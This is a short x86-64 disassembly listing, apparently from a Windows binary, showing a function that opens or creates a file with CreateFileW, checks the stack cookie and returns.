lea rdx, [0x1400d7a88]
call fcn.1400231be
mov rcx, qword [0x140102a88]
lea rdx, [0x1400d7a8c]
call fcn.1400231be
mov rcx, qword [0x140102a88]
cmp byte [rcx + 0x17], 0
jns 0x14002ac23
mov rcx, qword [rcx]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov edx, 4
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140102ad0], rax
add rax, 1
cmp rax, 1
ja 0x14002ac6f
mov qword [0x140102ad0], 0
xor r14d, r14d
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400a91f0
mov eax, r14d
add rsp, 0x258
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, rdi
call fcn.140021fc8
ud2
call fcn.1400bc2f4
ud2